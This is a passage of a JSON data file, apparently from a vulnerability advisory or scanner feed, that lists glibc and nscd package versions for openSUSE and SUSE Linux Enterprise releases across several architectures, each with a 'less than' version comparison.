"glibc-html-2.11.1-0.20.1.i586.rpm", "packageName": "glibc-html", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.3", "packageVersion": "2.11.2-3.3.1", "arch": "x86_64", "packageFilename": "glibc-profile-32bit-2.11.2-3.3.1.x86_64.rpm", "packageName": "glibc-profile-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "x86_64", "packageFilename": "glibc-profile-32bit-2.4-31.77.76.1.x86_64.rpm", "packageName": "glibc-profile-32bit", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.1", "packageVersion": "2.9-2.13.1", "arch": "ppc", "packageFilename": "glibc-64bit-2.9-2.13.1.ppc.rpm", "packageName": "glibc-64bit", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.1", "packageVersion": "2.9-2.13.1", "arch": "x86_64", "packageFilename": "nscd-2.9-2.13.1.x86_64.rpm", "packageName": "nscd", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11", "packageVersion": "2.9-13.11.1", "arch": "ppc64", "packageFilename": "glibc-2.9-13.11.1.ppc64.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "x86_64", "packageFilename": "glibc-locale-2.11.1-0.20.1.x86_64.rpm", "packageName": "glibc-locale", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "ia64", "packageFilename": "glibc-devel-2.11.1-0.20.1.ia64.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11", "packageVersion": "2.9-13.11.1", "arch": "ia64", "packageFilename": "glibc-locale-x86-2.9-13.11.1.ia64.rpm", "packageName": "glibc-locale-x86", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "ia64", "packageFilename": "glibc-debuginfo-2.4-31.77.76.1.ia64.rpm", "packageName": "glibc-debuginfo", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11", "packageVersion": "2.9-13.11.1", "arch": "ia64", "packageFilename": "glibc-locale-2.9-13.11.1.ia64.rpm", "packageName": "glibc-locale", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.3", "packageVersion": "2.11.2-3.3.1", "arch": "i586", "packageFilename": "glibc-i18ndata-2.11.2-3.3.1.i586.rpm", "packageName": "glibc-i18ndata", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "ppc", "packageFilename": "glibc-profile-64bit-2.4-31.77.76.1.ppc.rpm", "packageName": "glibc-profile-64bit", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.1", "packageVersion": "2.9-2.13.1", "arch": "x86_64", "packageFilename": "glibc-32bit-2.9-2.13.1.x86_64.rpm", "packageName": "glibc-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "x86_64", "packageFilename": "glibc-i18ndata-2.11.1-0.20.1.x86_64.rpm", "packageName": "glibc-i18ndata", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "x86_64", "packageFilename": "glibc-32bit-2.4-31.77.76.1.x86_64.rpm", "packageName": "glibc-32bit", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.3", "packageVersion": "2.11.2-3.3.1", "arch": "i586", "packageFilename": "glibc-html-2.11.2-3.3.1.i586.rpm", "packageName": "glibc-html", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11", "packageVersion": "2.9-13.11.1", "arch": "ia64", "packageFilename": "glibc-profile-x86-2.9-13.11.1.ia64.rpm", "packageName": "glibc-profile-x86", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.1", "packageVersion": "2.9-2.13.1", "arch": "ppc", "packageFilename": "glibc-locale-64bit-2.9-2.13.1.ppc.rpm", "packageName": "glibc-locale-64bit", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.1", "packageVersion": "2.9-2.13.1", "arch": "i586", "packageFilename": "glibc-2.9-2.13.1.i586.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.2", "packageVersion": "2.10.1-10.9.1", "arch": "x86_64", "packageFilename": "glibc-info-2.10.1-10.9.1.x86_64.rpm", "packageName": "glibc-info", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.1", "packageVersion": "2.9-2.13.1", "arch": "ppc", "packageFilename": "glibc-profile-64bit-2.9-2.13.1.ppc.rpm", "packageName": "glibc-profile-64bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "x86_64", "packageFilename": "glibc-locale-32bit-2.11.1-0.20.1.x86_64.rpm", "packageName": "glibc-locale-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "i586", "packageFilename": "glibc-2.4-31.77.76.1.i586.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.2", "packageVersion": "2.10.1-10.9.1", "arch": "i586", "packageFilename": "glibc-devel-2.10.1-10.9.1.i586.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11", "packageVersion": "2.9-13.11.1", "arch": "s390x", "packageFilename": "glibc-profile-2.9-13.11.1.s390x.rpm", "packageName": "glibc-profile", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server for VMware", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "i586", "packageFilename": "glibc-locale-2.11.1-0.20.1.i586.rpm", "packageName": "glibc-locale", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11", "packageVersion": "2.9-13.11.1", "arch": "s390x", "packageFilename": "glibc-devel-32bit-2.9-13.11.1.s390x.rpm", "packageName": "glibc-devel-32bit", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.1", "packageVersion": "2.9-2.13.1", "arch": "ppc", "packageFilename": "nscd-2.9-2.13.1.ppc.rpm", "packageName": "nscd", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "ppc", "packageFilename": "glibc-locale-64bit-2.4-31.77.76.1.ppc.rpm", "packageName": "glibc-locale-64bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11", "packageVersion": "2.9-13.11.1", "arch": "x86_64", "packageFilename": "glibc-devel-32bit-2.9-13.11.1.x86_64.rpm", "packageName": "glibc-devel-32bit", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.3", "packageVersion": "2.11.2-3.3.1", "arch": "i586", "packageFilename": "glibc-devel-2.11.2-3.3.1.i586.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.3", "packageVersion": "2.11.2-3.3.1", "arch": "i586", "packageFilename": "glibc-2.11.2-3.3.1.i586.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "ppc64", "packageFilename": "glibc-devel-32bit-2.11.1-0.20.1.ppc64.rpm", "packageName": "glibc-devel-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "s390x", "packageFilename": "glibc-locale-2.11.1-0.20.1.s390x.rpm", "packageName": "glibc-locale", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.1", "packageVersion": "2.9-2.13.1", "arch": "i686", "packageFilename": "glibc-locale-2.9-2.13.1.i686.rpm", "packageName": "glibc-locale", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "ppc64", "packageFilename": "nscd-2.11.1-0.20.1.ppc64.rpm", "packageName": "nscd", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11", "packageVersion": "2.9-13.11.1", "arch": "ppc64", "packageFilename": "nscd-2.9-13.11.1.ppc64.rpm", "packageName": "nscd", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.2", "packageVersion": "2.10.1-10.9.1", "arch": "i586", "packageFilename": "glibc-i18ndata-2.10.1-10.9.1.i586.rpm", "packageName": "glibc-i18ndata", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.3", "packageVersion": "2.11.2-3.3.1", "arch": "x86_64", "packageFilename": "glibc-devel-32bit-2.11.2-3.3.1.x86_64.rpm", "packageName": "glibc-devel-32bit", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.1", "packageVersion": "2.9-2.13.1", "arch": "i686", "packageFilename": "glibc-info-2.9-2.13.1.i686.rpm", "packageName": "glibc-info", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11", "packageVersion": "2.9-13.11.1", "arch": "ia64", "packageFilename": "nscd-2.9-13.11.1.ia64.rpm", "packageName": "nscd", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.1", "packageVersion": "2.9-2.13.1", "arch": "x86_64", "packageFilename": "glibc-obsolete-2.9-2.13.1.x86_64.rpm", "packageName": "glibc-obsolete", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.1", "packageVersion": "2.9-2.13.1", "arch": "x86_64", "packageFilename": "glibc-devel-32bit-2.9-2.13.1.x86_64.rpm", "packageName": "glibc-devel-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Software Development Kit", "OSVersion": "11", "packageVersion": "2.9-13.11.1", "arch": "i586", "packageFilename": "glibc-info-2.9-13.11.1.i586.rpm", "packageName": "glibc-info", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "i586", "packageFilename": "nscd-2.11.1-0.20.1.i586.rpm", "packageName": "nscd", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server for VMware", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "x86_64", "packageFilename": "glibc-32bit-2.11.1-0.20.1.x86_64.rpm", "packageName": "glibc-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server for VMware", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "x86_64", "packageFilename": "glibc-locale-2.11.1-0.20.1.x86_64.rpm", "packageName": "glibc-locale", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "ppc", "packageFilename": "glibc-info-2.4-31.77.76.1.ppc.rpm", "packageName": "glibc-info", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server for VMware", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "x86_64", "packageFilename": "glibc-i18ndata-2.11.1-0.20.1.x86_64.rpm", "packageName": "glibc-i18ndata", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.2", "packageVersion": "2.10.1-10.9.1", "arch": "i586", "packageFilename": "glibc-info-2.10.1-10.9.1.i586.rpm", "packageName": "glibc-info", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.1", "packageVersion": "2.9-2.13.1", "arch": "ppc", "packageFilename": "glibc-devel-64bit-2.9-2.13.1.ppc.rpm", "packageName": "glibc-devel-64bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server for VMware", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "i586", "packageFilename": "glibc-profile-2.11.1-0.20.1.i586.rpm", "packageName": "glibc-profile", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "ia64", "packageFilename": "glibc-locale-x86-2.11.1-0.20.1.ia64.rpm", "packageName": "glibc-locale-x86", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "ia64", "packageFilename": "glibc-html-2.11.1-0.20.1.ia64.rpm", "packageName": "glibc-html", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "i686", "packageFilename": "glibc-devel-2.11.1-0.20.1.i686.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server for VMware", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "x86_64", "packageFilename": "glibc-2.11.1-0.20.1.x86_64.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.1", "packageVersion": "2.9-2.13.1", "arch": "i586", "packageFilename": "glibc-locale-2.9-2.13.1.i586.rpm", "packageName": "glibc-locale", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "ia64", "packageFilename": "glibc-html-2.4-31.77.76.1.ia64.rpm", "packageName": "glibc-html", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11", "packageVersion": "2.9-13.11.1", "arch": "s390x", "packageFilename": "glibc-profile-32bit-2.9-13.11.1.s390x.rpm", "packageName": "glibc-profile-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "s390x", "packageFilename": "glibc-profile-2.4-31.77.76.1.s390x.rpm", "packageName": "glibc-profile", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11", "packageVersion": "2.9-13.11.1", "arch": "s390x", "packageFilename": "glibc-32bit-2.9-13.11.1.s390x.rpm", "packageName": "glibc-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "s390x", "packageFilename": "glibc-locale-2.4-31.77.76.1.s390x.rpm", "packageName": "glibc-locale", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "ppc64", "packageFilename": "glibc-i18ndata-2.11.1-0.20.1.ppc64.rpm", "packageName": "glibc-i18ndata", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "x86_64", "packageFilename": "glibc-devel-32bit-2.11.1-0.20.1.x86_64.rpm", "packageName": "glibc-devel-32bit", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.1", "packageVersion": "2.9-2.13.1", "arch": "ppc", "packageFilename": "glibc-obsolete-2.9-2.13.1.ppc.rpm", "packageName": "glibc-obsolete", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.1", "packageVersion": "2.9-2.13.1", "arch": "i586", "packageFilename": "glibc-obsolete-2.9-2.13.1.i586.rpm", "packageName": "glibc-obsolete", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11", "packageVersion": "2.9-13.11.1", "arch": "s390x", "packageFilename": "nscd-2.9-13.11.1.s390x.rpm", "packageName": "nscd", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server for VMware", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "x86_64", "packageFilename": "glibc-html-2.11.1-0.20.1.x86_64.rpm", "packageName": "glibc-html", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "ia64", "packageFilename": "glibc-devel-2.4-31.77.76.1.ia64.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "i586", "packageFilename": "glibc-debuginfo-2.4-31.77.76.1.i586.rpm", "packageName": "glibc-debuginfo", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Software Development Kit", "OSVersion": "11", "packageVersion": "2.9-13.11.1", "arch": "x86_64", "packageFilename": "glibc-info-2.9-13.11.1.x86_64.rpm", "packageName": "glibc-info", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "i586", "packageFilename": "nscd-2.11.1-0.20.1.i586.rpm", "packageName": "nscd", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11", "packageVersion": "2.9-13.11.1", "arch": "ia64", "packageFilename": "glibc-devel-2.9-13.11.1.ia64.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "x86_64", "packageFilename": "glibc-locale-32bit-2.4-31.77.76.1.x86_64.rpm", "packageName": "glibc-locale-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "ia64", "packageFilename": "glibc-locale-x86-2.4-31.77.76.1.ia64.rpm", "packageName": "glibc-locale-x86", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "ppc64", "packageFilename": "glibc-info-2.11.1-0.20.1.ppc64.rpm", "packageName": "glibc-info", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11", "packageVersion": "2.9-13.11.1", "arch": "ppc64", "packageFilename": "glibc-profile-2.9-13.11.1.ppc64.rpm", "packageName": "glibc-profile", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.1", "packageVersion": "2.9-2.13.1", "arch": "x86_64", "packageFilename": "glibc-html-2.9-2.13.1.x86_64.rpm", "packageName": "glibc-html", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11", "packageVersion": "2.9-13.11.1", "arch": "s390x", "packageFilename": "glibc-devel-2.9-13.11.1.s390x.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server for VMware", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "x86_64", "packageFilename": "glibc-devel-2.11.1-0.20.1.x86_64.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "x86_64", "packageFilename": "glibc-32bit-2.11.1-0.20.1.x86_64.rpm", "packageName": "glibc-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "ia64", "packageFilename": "glibc-profile-2.11.1-0.20.1.ia64.rpm", "packageName": "glibc-profile", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.1", "packageVersion": "2.9-2.13.1", "arch": "i586", "packageFilename": "glibc-html-2.9-2.13.1.i586.rpm", "packageName": "glibc-html", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "x86_64", "packageFilename": "nscd-2.4-31.77.76.1.x86_64.rpm", "packageName": "nscd", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "s390x", "packageFilename": "glibc-devel-2.11.1-0.20.1.s390x.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "i586", "packageFilename": "glibc-locale-2.11.1-0.20.1.i586.rpm", "packageName": "glibc-locale", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.1", "packageVersion": "2.9-2.13.1", "arch": "x86_64", "packageFilename": "glibc-devel-2.9-2.13.1.x86_64.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.1", "packageVersion": "2.9-2.13.1", "arch": "i686", "packageFilename": "glibc-devel-2.9-2.13.1.i686.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server for VMware", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "x86_64", "packageFilename": "glibc-profile-2.11.1-0.20.1.x86_64.rpm", "packageName": "glibc-profile", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.2", "packageVersion": "2.10.1-10.9.1", "arch": "i586", "packageFilename": "glibc-profile-2.10.1-10.9.1.i586.rpm", "packageName": "glibc-profile", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11", "packageVersion": "2.9-13.11.1", "arch": "i586", "packageFilename": "nscd-2.9-13.11.1.i586.rpm", "packageName": "nscd", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.1", "packageVersion": "2.9-2.13.1", "arch": "i686", "packageFilename": "glibc-html-2.9-2.13.1.i686.rpm", "packageName": "glibc-html", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "ppc64", "packageFilename": "glibc-html-2.11.1-0.20.1.ppc64.rpm", "packageName": "glibc-html", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.1", "packageVersion": "2.9-2.13.1", "arch": "ppc", "packageFilename": "glibc-info-2.9-2.13.1.ppc.rpm", "packageName": "glibc-info", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Software Development Kit", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "x86_64", "packageFilename": "glibc-dceext-2.4-31.77.76.1.x86_64.rpm", "packageName": "glibc-dceext", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.2", "packageVersion": "2.10.1-10.9.1", "arch": "i586", "packageFilename": "nscd-2.10.1-10.9.1.i586.rpm", "packageName": "nscd", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.1", "packageVersion": "2.9-2.13.1", "arch": "x86_64", "packageFilename": "glibc-2.9-2.13.1.x86_64.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11", "packageVersion": "2.9-13.11.1", "arch": "x86_64", "packageFilename": "glibc-2.9-13.11.1.x86_64.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "ppc", "packageFilename": "glibc-64bit-2.4-31.77.76.1.ppc.rpm", "packageName": "glibc-64bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server for VMware", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "i586", "packageFilename": "glibc-info-2.11.1-0.20.1.i586.rpm", "packageName": "glibc-info", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11", "packageVersion": "2.9-13.11.1", "arch": "ppc64", "packageFilename": "glibc-devel-2.9-13.11.1.ppc64.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11", "packageVersion": "2.9-13.11.1", "arch": "ppc64", "packageFilename": "glibc-32bit-2.9-13.11.1.ppc64.rpm", "packageName": "glibc-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "s390x", "packageFilename": "glibc-info-2.4-31.77.76.1.s390x.rpm", "packageName": "glibc-info", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "ppc64", "packageFilename": "glibc-devel-2.11.1-0.20.1.ppc64.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11", "packageVersion": "2.9-13.11.1", "arch": "s390x", "packageFilename": "glibc-2.9-13.11.1.s390x.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "i586", "packageFilename": "glibc-info-2.4-31.77.76.1.i586.rpm", "packageName": "glibc-info", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.2", "packageVersion": "2.10.1-10.9.1", "arch": "i586", "packageFilename": "glibc-locale-2.10.1-10.9.1.i586.rpm", "packageName": "glibc-locale", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "x86_64", "packageFilename": "nscd-2.11.1-0.20.1.x86_64.rpm", "packageName": "nscd", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.1", "packageVersion": "2.9-2.13.1", "arch": "x86_64", "packageFilename": "glibc-profile-32bit-2.9-2.13.1.x86_64.rpm", "packageName": "glibc-profile-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "ppc64", "packageFilename": "glibc-profile-2.11.1-0.20.1.ppc64.rpm", "packageName": "glibc-profile", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11", "packageVersion": "2.9-13.11.1", "arch": "x86_64", "packageFilename": "glibc-32bit-2.9-13.11.1.x86_64.rpm", "packageName": "glibc-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11", "packageVersion": "2.9-13.11.1", "arch": "x86_64", "packageFilename": "glibc-info-2.9-13.11.1.x86_64.rpm", "packageName": "glibc-info", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "i586", "packageFilename": "glibc-info-2.11.1-0.20.1.i586.rpm", "packageName": "glibc-info", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11", "packageVersion": "2.9-13.11.1", "arch": "s390x", "packageFilename": "glibc-html-2.9-13.11.1.s390x.rpm", "packageName": "glibc-html", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server for VMware", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "i586", "packageFilename": "glibc-i18ndata-2.11.1-0.20.1.i586.rpm", "packageName": "glibc-i18ndata", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11", "packageVersion": "2.9-13.11.1", "arch": "i586", "packageFilename": "glibc-info-2.9-13.11.1.i586.rpm", "packageName": "glibc-info", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "ia64", "packageFilename": "glibc-locale-2.4-31.77.76.1.ia64.rpm", "packageName": "glibc-locale", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.3", "packageVersion": "2.11.2-3.3.1", "arch": "i586", "packageFilename": "glibc-locale-2.11.2-3.3.1.i586.rpm", "packageName": "glibc-locale", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.2", "packageVersion": "2.10.1-10.9.1", "arch": "i586", "packageFilename": "glibc-2.10.1-10.9.1.i586.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "x86_64", "packageFilename": "glibc-2.11.1-0.20.1.x86_64.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server for VMware", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "x86_64", "packageFilename": "glibc-profile-32bit-2.11.1-0.20.1.x86_64.rpm", "packageName": "glibc-profile-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11", "packageVersion": "2.9-13.11.1", "arch": "ppc64", "packageFilename": "glibc-html-2.9-13.11.1.ppc64.rpm", "packageName": "glibc-html", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "ia64", "packageFilename": "glibc-x86-2.11.1-0.20.1.ia64.rpm", "packageName": "glibc-x86", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "x86_64", "packageFilename": "glibc-devel-2.11.1-0.20.1.x86_64.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "ppc64", "packageFilename": "glibc-profile-32bit-2.11.1-0.20.1.ppc64.rpm", "packageName": "glibc-profile-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "i586", "packageFilename": "glibc-devel-2.4-31.77.76.1.i586.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "i686", "packageFilename": "glibc-devel-2.4-31.77.76.1.i686.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.3", "packageVersion": "2.11.2-3.3.1", "arch": "i586", "packageFilename": "glibc-profile-2.11.2-3.3.1.i586.rpm", "packageName": "glibc-profile", "operator": "lt"}, {"OS": "SUSE Linux Enterprise 